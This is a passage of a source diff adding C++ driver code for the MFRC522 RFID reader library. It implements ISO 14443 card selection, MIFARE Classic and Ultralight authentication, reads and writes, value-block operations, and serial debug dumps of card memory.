currentLevelKnownBits = validBits - (8 * uidIndex); + if (currentLevelKnownBits < 0) { + currentLevelKnownBits = 0; + } + // Copy the known bits from uid->uidByte[] to buffer[] + index = 2; // destination index in buffer[] + if (useCascadeTag) { + buffer[index++] = PICC_CMD_CT; + } + byte bytesToCopy = currentLevelKnownBits / 8 + (currentLevelKnownBits % 8 ? 1 : 0); // The number of bytes needed to represent the known bits for this level. + if (bytesToCopy) { + byte maxBytes = useCascadeTag ? 3 : 4; // Max 4 bytes in each Cascade Level. Only 3 left if we use the Cascade Tag + if (bytesToCopy > maxBytes) { + bytesToCopy = maxBytes; + } + for (count = 0; count < bytesToCopy; count++) { + buffer[index++] = uid->uidByte[uidIndex + count]; + } + } + // Now that the data has been copied we need to include the 8 bits in CT in currentLevelKnownBits + if (useCascadeTag) { + currentLevelKnownBits += 8; + } + + // Repeat anti collision loop until we can transmit all UID bits + BCC and receive a SAK - max 32 iterations. + selectDone = false; + while ( ! selectDone) { + // Find out how many bits and bytes to send and receive. + if (currentLevelKnownBits >= 32) { // All UID bits in this Cascade Level are known. This is a SELECT. + //Serial.print("SELECT: currentLevelKnownBits="); Serial.println(currentLevelKnownBits, DEC); + buffer[1] = 0x70; // NVB - Number of Valid Bits: Seven whole bytes + // Calculate BCC - Block Check Character + buffer[6] = buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 7, &buffer[7]); + if (result != STATUS_OK) { + return result; + } + txLastBits = 0; // 0 => All 8 bits are valid. + bufferUsed = 9; + // Store response in the last 3 bytes of buffer (BCC and CRC_A - not needed after tx) + responseBuffer = &buffer[6]; + responseLength = 3; + } + else { // This is an ANTICOLLISION. + //Serial.print("ANTICOLLISION: currentLevelKnownBits="); Serial.println(currentLevelKnownBits, DEC); + txLastBits = currentLevelKnownBits % 8; + count = currentLevelKnownBits / 8; // Number of whole bytes in the UID part. + index = 2 + count; // Number of whole bytes: SEL + NVB + UIDs + buffer[1] = (index << 4) + txLastBits; // NVB - Number of Valid Bits + bufferUsed = index + (txLastBits ? 1 : 0); + // Store response in the unused part of buffer + responseBuffer = &buffer[index]; + responseLength = sizeof(buffer) - index; + } + + // Set bit adjustments + rxAlign = txLastBits; // Having a seperate variable is overkill. But it makes the next line easier to read. + PCD_WriteRegister(BitFramingReg, (rxAlign << 4) + txLastBits); // RxAlign = BitFramingReg[6..4]. TxLastBits = BitFramingReg[2..0] + + // Transmit the buffer and receive the response. + result = PCD_TransceiveData(buffer, bufferUsed, responseBuffer, &responseLength, &txLastBits, rxAlign); + if (result == STATUS_COLLISION) { // More than one PICC in the field => collision. + result = PCD_ReadRegister(CollReg); // CollReg[7..0] bits are: ValuesAfterColl reserved CollPosNotValid CollPos[4:0] + if (result & 0x20) { // CollPosNotValid + return STATUS_COLLISION; // Without a valid collision position we cannot continue + } + byte collisionPos = result & 0x1F; // Values 0-31, 0 means bit 32. + if (collisionPos == 0) { + collisionPos = 32; + } + if (collisionPos <= currentLevelKnownBits) { // No progress - should not happen + return STATUS_INTERNAL_ERROR; + } + // Choose the PICC with the bit set. + currentLevelKnownBits = collisionPos; + count = (currentLevelKnownBits - 1) % 8; // The bit to modify + index = 1 + (currentLevelKnownBits / 8) + (count ? 1 : 0); // First byte is index 0. + buffer[index] |= (1 << count); + } + else if (result != STATUS_OK) { + return result; + } + else { // STATUS_OK + if (currentLevelKnownBits >= 32) { // This was a SELECT. + selectDone = true; // No more anticollision + // We continue below outside the while. + } + else { // This was an ANTICOLLISION. + // We now have all 32 bits of the UID in this Cascade Level + currentLevelKnownBits = 32; + // Run loop again to do the SELECT. + } + } + } // End of while ( ! selectDone) + + // We do not check the CBB - it was constructed by us above. + + // Copy the found UID bytes from buffer[] to uid->uidByte[] + index = (buffer[2] == PICC_CMD_CT) ? 3 : 2; // source index in buffer[] + bytesToCopy = (buffer[2] == PICC_CMD_CT) ? 3 : 4; + for (count = 0; count < bytesToCopy; count++) { + uid->uidByte[uidIndex + count] = buffer[index++]; + } + + // Check response SAK (Select Acknowledge) + if (responseLength != 3 || txLastBits != 0) { // SAK must be exactly 24 bits (1 byte + CRC_A). + return STATUS_ERROR; + } + // Verify CRC_A - do our own calculation and store the control in buffer[2..3] - those bytes are not needed anymore. + result = PCD_CalculateCRC(responseBuffer, 1, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + if ((buffer[2] != responseBuffer[1]) || (buffer[3] != responseBuffer[2])) { + return STATUS_CRC_WRONG; + } + if (responseBuffer[0] & 0x04) { // Cascade bit set - UID not complete yes + cascadeLevel++; + } + else { + uidComplete = true; + uid->sak = responseBuffer[0]; + } + } // End of while ( ! uidComplete) + + // Set correct uid->size + uid->size = 3 * cascadeLevel + 1; + + return STATUS_OK; +} // End PICC_Select() + +/** + * Instructs a PICC in state ACTIVE(*) to go to state HALT. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_HaltA() { + byte result; + byte buffer[4]; + + // Build command buffer + buffer[0] = PICC_CMD_HLTA; + buffer[1] = 0; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 2, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + + // Send the command. + // The standard says: + // If the PICC responds with any modulation during a period of 1 ms after the end of the frame containing the + // HLTA command, this response shall be interpreted as 'not acknowledge'. + // We interpret that this way: Only STATUS_TIMEOUT is an success. + result = PCD_TransceiveData(buffer, sizeof(buffer), NULL, 0); + if (result == STATUS_TIMEOUT) { + return STATUS_OK; + } + if (result == STATUS_OK) { // That is ironically NOT ok in this case ;-) + return STATUS_ERROR; + } + return result; +} // End PICC_HaltA() + + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for communicating with MIFARE PICCs +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Executes the MFRC522 MFAuthent command. + * This command manages MIFARE authentication to enable a secure communication to any MIFARE Mini, MIFARE 1K and MIFARE 4K card. + * The authentication is described in the MFRC522 datasheet section 10.3.1.9 and http://www.nxp.com/documents/data_sheet/MF1S503x.pdf section 10.1. + * For use with MIFARE Classic PICCs. + * The PICC must be selected - ie in state ACTIVE(*) - before calling this function. + * Remember to call PCD_StopCrypto1() after communicating with the authenticated PICC - otherwise no new communications can start. + * + * All keys are set to FFFFFFFFFFFFh at chip delivery. + * + * @return STATUS_OK on success, STATUS_??? otherwise. Probably STATUS_TIMEOUT if you supply the wrong key. + */ +byte MFRC522::PCD_Authenticate(byte command, ///< PICC_CMD_MF_AUTH_KEY_A or PICC_CMD_MF_AUTH_KEY_B + byte blockAddr, ///< The block number. See numbering in the comments in the .h file. + MIFARE_Key *key, ///< Pointer to the Crypteo1 key to use (6 bytes) + Uid *uid ///< Pointer to Uid struct. The first 4 bytes of the UID is used. + ) { + byte waitIRq = 0x10; // IdleIRq + + // Build command buffer + byte sendData[12]; + sendData[0] = command; + sendData[1] = blockAddr; + for (byte i = 0; i < MF_KEY_SIZE; i++) { // 6 key bytes + sendData[2+i] = key->keyByte[i]; + } + for (byte i = 0; i < 4; i++) { // The first 4 bytes of the UID + sendData[8+i] = uid->uidByte[i]; + } + + // Start the authentication. + return PCD_CommunicateWithPICC(PCD_MFAuthent, waitIRq, &sendData[0], sizeof(sendData)); +} // End PCD_Authenticate() + +/** + * Used to exit the PCD from its authenticated state. + * Remember to call this function after communicating with an authenticated PICC - otherwise no new communications can start. + */ +void MFRC522::PCD_StopCrypto1() { + // Clear MFCrypto1On bit + PCD_ClearRegisterBitMask(Status2Reg, 0x08); // Status2Reg[7..0] bits are: TempSensClear I2CForceHS reserved reserved MFCrypto1On ModemState[2:0] +} // End PCD_StopCrypto1() + +/** + * Reads 16 bytes (+ 2 bytes CRC_A) from the active PICC. + * + * For MIFARE Classic the sector containing the block must be authenticated before calling this function. + * + * For MIFARE Ultralight only addresses 00h to 0Fh are decoded. + * The MF0ICU1 returns a NAK for higher addresses. + * The MF0ICU1 responds to the READ command by sending 16 bytes starting from the page address defined by the command argument. + * For example; if blockAddr is 03h then pages 03h, 04h, 05h, 06h are returned. + * A roll-back is implemented: If blockAddr is 0Eh, then the contents of pages 0Eh, 0Fh, 00h and 01h are returned. + * + * The buffer must be at least 18 bytes because a CRC_A is also returned. + * Checks the CRC_A before returning STATUS_OK. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Read( byte blockAddr, ///< MIFARE Classic: The block (0-0xff) number. MIFARE Ultralight: The first page to return data from. + byte *buffer, ///< The buffer to store the data in + byte *bufferSize ///< Buffer size, at least 18 bytes. Also number of bytes returned if STATUS_OK. + ) { + byte result; + + // Sanity check + if (buffer == NULL || *bufferSize < 18) { + return STATUS_NO_ROOM; + } + + // Build command buffer + buffer[0] = PICC_CMD_MF_READ; + buffer[1] = blockAddr; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 2, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + + // Transmit the buffer and receive the response, validate CRC_A. + return PCD_TransceiveData(buffer, 4, buffer, bufferSize, NULL, 0, true); +} // End MIFARE_Read() + +/** + * Writes 16 bytes to the active PICC. + * + * For MIFARE Classic the sector containing the block must be authenticated before calling this function. + * + * For MIFARE Ultralight the operation is called "COMPATIBILITY WRITE". + * Even though 16 bytes are transferred to the Ultralight PICC, only the least significant 4 bytes (bytes 0 to 3) + * are written to the specified address. It is recommended to set the remaining bytes 04h to 0Fh to all logic 0. + * * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Write( byte blockAddr, ///< MIFARE Classic: The block (0-0xff) number. MIFARE Ultralight: The page (2-15) to write to. + byte *buffer, ///< The 16 bytes to write to the PICC + byte bufferSize ///< Buffer size, must be at least 16 bytes. Exactly 16 bytes are written. + ) { + byte result; + + // Sanity check + if (buffer == NULL || bufferSize < 16) { + return STATUS_INVALID; + } + + // Mifare Classic protocol requires two communications to perform a write. + // Step 1: Tell the PICC we want to write to block blockAddr. + byte cmdBuffer[2]; + cmdBuffer[0] = PICC_CMD_MF_WRITE; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive(cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + // Step 2: Transfer the data + result = PCD_MIFARE_Transceive( buffer, bufferSize); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + return STATUS_OK; +} // End MIFARE_Write() + +/** + * Writes a 4 byte page to the active MIFARE Ultralight PICC. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Ultralight_Write( byte page, ///< The page (2-15) to write to. + byte *buffer, ///< The 4 bytes to write to the PICC + byte bufferSize ///< Buffer size, must be at least 4 bytes. Exactly 4 bytes are written. + ) { + byte result; + + // Sanity check + if (buffer == NULL || bufferSize < 4) { + return STATUS_INVALID; + } + + // Build commmand buffer + byte cmdBuffer[6]; + cmdBuffer[0] = PICC_CMD_UL_WRITE; + cmdBuffer[1] = page; + memcpy(&cmdBuffer[2], buffer, 4); + + // Perform the write + result = PCD_MIFARE_Transceive(cmdBuffer, 6); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + return STATUS_OK; +} // End MIFARE_Ultralight_Write() + +/** + * MIFARE Decrement subtracts the delta from the value of the addressed block, and stores the result in a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Decrement( byte blockAddr, ///< The block (0-0xff) number. + long delta ///< This number is subtracted from the value of block blockAddr. + ) { + return MIFARE_TwoStepHelper(PICC_CMD_MF_DECREMENT, blockAddr, delta); +} // End MIFARE_Decrement() + +/** + * MIFARE Increment adds the delta to the value of the addressed block, and stores the result in a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Increment( byte blockAddr, ///< The block (0-0xff) number. + long delta ///< This number is added to the value of block blockAddr. + ) { + return MIFARE_TwoStepHelper(PICC_CMD_MF_INCREMENT, blockAddr, delta); +} // End MIFARE_Increment() + +/** + * MIFARE Restore copies the value of the addressed block into a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Restore( byte blockAddr ///< The block (0-0xff) number. + ) { + // The datasheet describes Restore as a two step operation, but does not explain what data to transfer in step 2. + // Doing only a single step does not work, so I chose to transfer 0L in step two. + return MIFARE_TwoStepHelper(PICC_CMD_MF_RESTORE, blockAddr, 0L); +} // End MIFARE_Restore() + +/** + * Helper function for the two-step MIFARE Classic protocol operations Decrement, Increment and Restore. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_TwoStepHelper( byte command, ///< The command to use + byte blockAddr, ///< The block (0-0xff) number. + long data ///< The data to transfer in step 2 + ) { + byte result; + byte cmdBuffer[2]; // We only need room for 2 bytes. + + // Step 1: Tell the PICC the command and block address + cmdBuffer[0] = command; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive( cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + // Step 2: Transfer the data + result = PCD_MIFARE_Transceive( (byte *)&data, 4, true); // Adds CRC_A and accept timeout as success. + if (result != STATUS_OK) { + return result; + } + + return STATUS_OK; +} // End MIFARE_TwoStepHelper() + +/** + * MIFARE Transfer writes the value stored in the volatile memory into one MIFARE Classic block. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Transfer( byte blockAddr ///< The block (0-0xff) number. + ) { + byte result; + byte cmdBuffer[2]; // We only need room for 2 bytes. + + // Tell the PICC we want to transfer the result into block blockAddr. + cmdBuffer[0] = PICC_CMD_MF_TRANSFER; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive( cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + return STATUS_OK; +} // End MIFARE_Transfer() + +/** + * Helper routine to read the current value from a Value Block. + * + * Only for MIFARE Classic and only for blocks in "value block" mode, that + * is: with access bits [C1 C2 C3] = [110] or [001]. The sector containing + * the block must be authenticated before calling this function. + * + * @param[in] blockAddr The block (0x00-0xff) number. + * @param[out] value Current value of the Value Block. + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_GetValue(byte blockAddr, long *value) { + byte status; + byte buffer[18]; + byte size = sizeof(buffer); + + // Read the block + status = MIFARE_Read(blockAddr, buffer, &size); + if (status == STATUS_OK) { + // Extract the value + *value = (long(buffer[3])<<24) | (long(buffer[2])<<16) | (long(buffer[1])<<8) | long(buffer[0]); + } + return status; +} // End MIFARE_GetValue() + +/** + * Helper routine to write a specific value into a Value Block. + * + * Only for MIFARE Classic and only for blocks in "value block" mode, that + * is: with access bits [C1 C2 C3] = [110] or [001]. The sector containing + * the block must be authenticated before calling this function. + * + * @param[in] blockAddr The block (0x00-0xff) number. + * @param[in] value New value of the Value Block. + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_SetValue(byte blockAddr, long value) { + byte buffer[18]; + + // Translate the long into 4 bytes; repeated 2x in value block + buffer[0] = buffer[ 8] = (value & 0xFF); + buffer[1] = buffer[ 9] = (value & 0xFF00) >> 8; + buffer[2] = buffer[10] = (value & 0xFF0000) >> 16; + buffer[3] = buffer[11] = (value & 0xFF000000) >> 24; + // Inverse 4 bytes also found in value block + buffer[4] = ~buffer[0]; + buffer[5] = ~buffer[1]; + buffer[6] = ~buffer[2]; + buffer[7] = ~buffer[3]; + // Address 2x with inverse address 2x + buffer[12] = buffer[14] = blockAddr; + buffer[13] = buffer[15] = ~blockAddr; + + // Write the whole data block + return MIFARE_Write(blockAddr, buffer, 16); +} // End MIFARE_SetValue() + +///////////////////////////////////////////////////////////////////////////////////// +// Support functions +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Wrapper for MIFARE protocol communication. + * Adds CRC_A, executes the Transceive command and checks that the response is MF_ACK or a timeout. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_MIFARE_Transceive( byte *sendData, ///< Pointer to the data to transfer to the FIFO. Do NOT include the CRC_A. + byte sendLen, ///< Number of bytes in sendData. + bool acceptTimeout ///< True => A timeout is also success + ) { + byte result; + byte cmdBuffer[18]; // We need room for 16 bytes data and 2 bytes CRC_A. + + // Sanity check + if (sendData == NULL || sendLen > 16) { + return STATUS_INVALID; + } + + // Copy sendData[] to cmdBuffer[] and add CRC_A + memcpy(cmdBuffer, sendData, sendLen); + result = PCD_CalculateCRC(cmdBuffer, sendLen, &cmdBuffer[sendLen]); + if (result != STATUS_OK) { + return result; + } + sendLen += 2; + + // Transceive the data, store the reply in cmdBuffer[] + byte waitIRq = 0x30; // RxIRq and IdleIRq + byte cmdBufferSize = sizeof(cmdBuffer); + byte validBits = 0; + result = PCD_CommunicateWithPICC(PCD_Transceive, waitIRq, cmdBuffer, sendLen, cmdBuffer, &cmdBufferSize, &validBits); + if (acceptTimeout && result == STATUS_TIMEOUT) { + return STATUS_OK; + } + if (result != STATUS_OK) { + return result; + } + // The PICC must reply with a 4 bit ACK + if (cmdBufferSize != 1 || validBits != 4) { + return STATUS_ERROR; + } + if (cmdBuffer[0] != MF_ACK) { + return STATUS_MIFARE_NACK; + } + return STATUS_OK; +} // End PCD_MIFARE_Transceive() + +/** + * Returns a string pointer to a status code name. + * + */ +const char *MFRC522::GetStatusCodeName(byte code ///< One of the StatusCode enums. + ) { + switch (code) { + case STATUS_OK: return "Success."; break; + case STATUS_ERROR: return "Error in communication."; break; + case STATUS_COLLISION: return "Collission detected."; break; + case STATUS_TIMEOUT: return "Timeout in communication."; break; + case STATUS_NO_ROOM: return "A buffer is not big enough."; break; + case STATUS_INTERNAL_ERROR: return "Internal error in the code. Should not happen."; break; + case STATUS_INVALID: return "Invalid argument."; break; + case STATUS_CRC_WRONG: return "The CRC_A does not match."; break; + case STATUS_MIFARE_NACK: return "A MIFARE PICC responded with NAK."; break; + default: + return "Unknown error"; + break; + } +} // End GetStatusCodeName() + +/** + * Translates the SAK (Select Acknowledge) to a PICC type. + * + * @return PICC_Type + */ +byte MFRC522::PICC_GetType(byte sak ///< The SAK byte returned from PICC_Select(). + ) { + if (sak & 0x04) { // UID not complete + return PICC_TYPE_NOT_COMPLETE; + } + + switch (sak) { + case 0x09: return PICC_TYPE_MIFARE_MINI; break; + case 0x08: return PICC_TYPE_MIFARE_1K; break; + case 0x18: return PICC_TYPE_MIFARE_4K; break; + case 0x00: return PICC_TYPE_MIFARE_UL; break; + case 0x10: + case 0x11: return PICC_TYPE_MIFARE_PLUS; break; + case 0x01: return PICC_TYPE_TNP3XXX; break; + default: break; + } + + if (sak & 0x20) { + return PICC_TYPE_ISO_14443_4; + } + + if (sak & 0x40) { + return PICC_TYPE_ISO_18092; + } + + return PICC_TYPE_UNKNOWN; +} // End PICC_GetType() + +/** + * Returns a string pointer to the PICC type name. + * + */ +const char *MFRC522::PICC_GetTypeName(byte piccType ///< One of the PICC_Type enums. + ) { + switch (piccType) { + case PICC_TYPE_ISO_14443_4: return "PICC compliant with ISO/IEC 14443-4"; break; + case PICC_TYPE_ISO_18092: return "PICC compliant with ISO/IEC 18092 (NFC)"; break; + case PICC_TYPE_MIFARE_MINI: return "MIFARE Mini, 320 bytes"; break; + case PICC_TYPE_MIFARE_1K: return "MIFARE 1KB"; break; + case PICC_TYPE_MIFARE_4K: return "MIFARE 4KB"; break; + case PICC_TYPE_MIFARE_UL: return "MIFARE Ultralight or Ultralight C"; break; + case PICC_TYPE_MIFARE_PLUS: return "MIFARE Plus"; break; + case PICC_TYPE_TNP3XXX: return "MIFARE TNP3XXX"; break; + case PICC_TYPE_NOT_COMPLETE: return "SAK indicates UID is not complete."; break; + case PICC_TYPE_UNKNOWN: + default: return "Unknown type"; break; + } +} // End PICC_GetTypeName() + +/** + * Dumps debug info about the selected PICC to Serial. + * On success the PICC is halted after dumping the data. + * For MIFARE Classic the factory default key of 0xFFFFFFFFFFFF is tried. + */ +void MFRC522::PICC_DumpToSerial(Uid *uid ///< Pointer to Uid struct returned from a successful PICC_Select(). + ) { + MIFARE_Key key; + + // UID + Serial.print("Card UID:"); + for (byte i = 0; i < uid->size; i++) { + Serial.print(uid->uidByte[i] < 0x10 ? " 0" : " "); + Serial.print(uid->uidByte[i], HEX); + } + Serial.println(); + + // PICC type + byte piccType = PICC_GetType(uid->sak); + Serial.print("PICC type: "); + Serial.println(PICC_GetTypeName(piccType)); + + // Dump contents + switch (piccType) { + case PICC_TYPE_MIFARE_MINI: + case PICC_TYPE_MIFARE_1K: + case PICC_TYPE_MIFARE_4K: + // All keys are set to FFFFFFFFFFFFh at chip delivery from the factory. + for (byte i = 0; i < 6; i++) { + key.keyByte[i] = 0xFF; + } + PICC_DumpMifareClassicToSerial(uid, piccType, &key); + break; + + case PICC_TYPE_MIFARE_UL: + PICC_DumpMifareUltralightToSerial(); + break; + + case PICC_TYPE_ISO_14443_4: + case PICC_TYPE_ISO_18092: + case PICC_TYPE_MIFARE_PLUS: + case PICC_TYPE_TNP3XXX: + Serial.println("Dumping memory contents not implemented for that PICC type."); + break; + + case PICC_TYPE_UNKNOWN: + case PICC_TYPE_NOT_COMPLETE: + default: + break; // No memory dump here + } + + Serial.println(); + PICC_HaltA(); // Already done if it was a MIFARE Classic PICC. +} // End PICC_DumpToSerial() + +/** + * Dumps memory contents of a MIFARE Classic PICC. + * On success the PICC is halted after dumping the data. + */ +void MFRC522::PICC_DumpMifareClassicToSerial( Uid *uid, ///< Pointer to Uid struct returned from a successful PICC_Select(). + byte piccType, ///< One of the PICC_Type enums. + MIFARE_Key *key ///< Key A used for all sectors. + ) { + byte no_of_sectors = 0; + switch (piccType) { + case PICC_TYPE_MIFARE_MINI: + // Has 5 sectors * 4 blocks/sector * 16 bytes/block = 320 bytes. + no_of_sectors = 5; + break; + + case PICC_TYPE_MIFARE_1K: + // Has 16 sectors * 4 blocks/sector * 16 bytes/block = 1024 bytes. + no_of_sectors = 16; + break; + + case PICC_TYPE_MIFARE_4K: + // Has (32 sectors * 4 blocks/sector + 8 sectors * 16 blocks/sector) * 16 bytes/block = 4096 bytes. + no_of_sectors = 40; + break; + + default: // Should not happen. Ignore. + break; + } + + // Dump sectors, highest address first. + if (no_of_sectors) { + Serial.println("Sector Block 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 AccessBits"); + for (char i = no_of_sectors - 1; i >= 0; i--) { + PICC_DumpMifareClassicSectorToSerial(uid, key, i); + } + } + PICC_HaltA(); // Halt the PICC before stopping the encrypted session. + PCD_StopCrypto1(); +} // End PICC_DumpMifareClassicToSerial() + +/** + * Dumps memory contents of a sector of a MIFARE Classic PICC. + * Uses PCD_Authenticate(), MIFARE_Read() and PCD_StopCrypto1. + * Always uses PICC_CMD_MF_AUTH_KEY_A because only Key A can always read the sector trailer access bits. + */ +void MFRC522::PICC_DumpMifareClassicSectorToSerial(Uid *uid, ///< Pointer to Uid struct returned from a successful PICC_Select(). + MIFARE_Key *key, ///< Key A for the sector. + byte sector ///< The sector to dump, 0..39. + ) { + byte status; + byte firstBlock; // Address of lowest address to dump actually last block dumped) + byte no_of_blocks; // Number of blocks in sector + bool isSectorTrailer; // Set to true while handling the "last" (ie highest address) in the sector. + + // The access bits are stored in a peculiar fashion. + // There are four groups: + // g[3] Access bits for the sector trailer, block 3 (for sectors 0-31) or block 15 (for sectors 32-39) + // g[2] Access bits for block 2 (for sectors 0-31) or blocks 10-14 (for sectors 32-39) + // g[1] Access bits for block 1 (for sectors 0-31) or blocks 5-9 (for sectors 32-39) + // g[0] Access bits for block 0 (for sectors 0-31) or blocks 0-4 (for sectors 32-39) + // Each group has access bits [C1 C2 C3]. In this code C1 is MSB and C3 is LSB. + // The four CX bits are stored together in a nible cx and an inverted nible cx_. + byte c1, c2, c3; // Nibbles + byte c1_, c2_, c3_; // Inverted nibbles + bool invertedError; // True if one of the inverted nibbles did not match + byte g[4]; // Access bits for each of the four groups. + byte group; // 0-3 - active group for access bits + bool firstInGroup; // True for the first block dumped in the group + + // Determine position and size of sector. + if (sector < 32) { // Sectors 0..31 has 4 blocks each + no_of_blocks = 4; + firstBlock = sector * no_of_blocks; + } + else if (sector < 40) { // Sectors 32-39 has 16 blocks each + no_of_blocks = 16; + firstBlock = 128 + (sector - 32) * no_of_blocks; + } + else { // Illegal input, no MIFARE Classic PICC has more than 40 sectors. + return; + } + + // Dump blocks, highest address first. + byte byteCount; + byte buffer[18]; + byte blockAddr; + isSectorTrailer = true; + for (char blockOffset = no_of_blocks - 1; blockOffset >= 0; blockOffset--) { + blockAddr = firstBlock + blockOffset; + // Sector number - only on first line + if (isSectorTrailer) { + Serial.print(sector < 10 ? " " : " "); // Pad with spaces + Serial.print(sector); + Serial.print(" "); + } + else { + Serial.print(" "); + } + // Block number + Serial.print(blockAddr < 10 ? " " : (blockAddr < 100 ? " " : " ")); // Pad with spaces + Serial.print(blockAddr); + Serial.print(" "); + // Establish encrypted communications before reading the first block + if (isSectorTrailer) { + status = PCD_Authenticate(PICC_CMD_MF_AUTH_KEY_A, firstBlock, key, uid); + if (status != STATUS_OK) { + Serial.print("PCD_Authenticate() failed: "); + Serial.println(GetStatusCodeName(status)); + return; + } + } + // Read block + byteCount = sizeof(buffer); + status = MIFARE_Read(blockAddr, buffer, &byteCount); + if (status != STATUS_OK) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + continue; + } + // Dump data + for (byte index = 0; index < 16; index++) { + Serial.print(buffer[index] < 0x10 ? " 0" : " "); + Serial.print(buffer[index], HEX); + if ((index % 4) == 3) { + Serial.print(" "); + } + } + // Parse sector trailer data + if (isSectorTrailer) { + c1 = buffer[7] >> 4; + c2 = buffer[8] & 0xF; + c3 = buffer[8] >> 4; + c1_ = buffer[6] & 0xF; + c2_ = buffer[6] >> 4; + c3_ = buffer[7] & 0xF; + invertedError = (c1 != (~c1_ & 0xF)) || (c2 != (~c2_ & 0xF)) || (c3 != (~c3_ & 0xF)); + g[0] = ((c1 & 1) << 2) | ((c2 & 1) << 1) | ((c3 & 1) << 0); + g[1] = ((c1 & 2) << 1) | ((c2 & 2) << 0) | ((c3 & 2) >> 1); + g[2] = ((c1 & 4) << 0) | ((c2 & 4) >> 1) | ((c3 & 4) >> 2); + g[3] = ((c1 & 8) >> 1) | ((c2 & 8) >> 2) | ((c3 & 8) >> 3); + isSectorTrailer = false; + } + + // Which access group is this block in? + if (no_of_blocks == 4) { + group = blockOffset; + firstInGroup = true; + } + else { + group = blockOffset / 5; + firstInGroup = (group == 3) || (group != (blockOffset + 1) / 5); + } + + if (firstInGroup) { + // Print access bits + Serial.print(" [ "); + Serial.print((g[group] >> 2) & 1, DEC); Serial.print(" "); + Serial.print((g[group] >> 1) & 1, DEC); Serial.print(" "); + Serial.print((g[group] >> 0) & 1, DEC); + Serial.print(" ] "); + if (invertedError) { + Serial.print(" Inverted access bits did not match! "); + } + } + + if (group != 3 && (g[group] == 1 || g[group] == 6)) { // Not a sector trailer, a value block + long value = (long(buffer[3])<<24) | (long(buffer[2])<<16) | (long(buffer[1])<<8) | long(buffer[0]); + Serial.print(" Value=0x"); Serial.print(value, HEX); + Serial.print(" Adr=0x"); Serial.print(buffer[12], HEX); + } + Serial.println(); + } + + return; +} // End PICC_DumpMifareClassicSectorToSerial() + +/** + * Dumps memory contents of a MIFARE Ultralight PICC. + */ +void MFRC522::PICC_DumpMifareUltralightToSerial() { + byte status; + byte byteCount; + byte buffer[18]; + byte i; + + Serial.println("Page 0 1 2 3"); + // Try the mpages of the original Ultralight. Ultralight C has more pages. + for (byte page = 0; page < 16; page +=4) { // Read returns data for 4 pages at a time. + // Read pages + byteCount = sizeof(buffer); + status = MIFARE_Read(page, buffer, &byteCount); + if (status != STATUS_OK) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + break; + } + // Dump data + for (byte offset = 0; offset < 4; offset++) { + i = page + offset; + Serial.print(i < 10 ? " " : " "); // Pad with spaces + Serial.print(i); + Serial.print(" "); + for (byte index = 0; index < 4; index++) { + i = 4 * offset + index; + Serial.print(buffer[i] < 0x10 ? " 0" : " "); + Serial.print(buffer[i], HEX); + } + Serial.println(); + } + } +} // End PICC_DumpMifareUltralightToSerial() + +/** + * Calculates the bit pattern needed for the specified access bits. In the [C1 C2 C3] tupples C1 is MSB (=4) and C3 is LSB (=1). + */ +void MFRC522::MIFARE_SetAccessBits( byte *accessBitBuffer, ///< Pointer to byte 6, 7 and 8 in the sector trailer. Bytes [0..2] will be set. + byte g0, ///< Access bits [C1 C2 C3] for block 0 (for sectors 0-31) or blocks 0-4 (for sectors 32-39) + byte g1, ///< Access bits C1 C2 C3] for block 1 (for sectors 0-31) or blocks 5-9 (for sectors 32-39) + byte g2, ///< Access bits C1 C2 C3] for block 2 (for sectors 0-31) or blocks 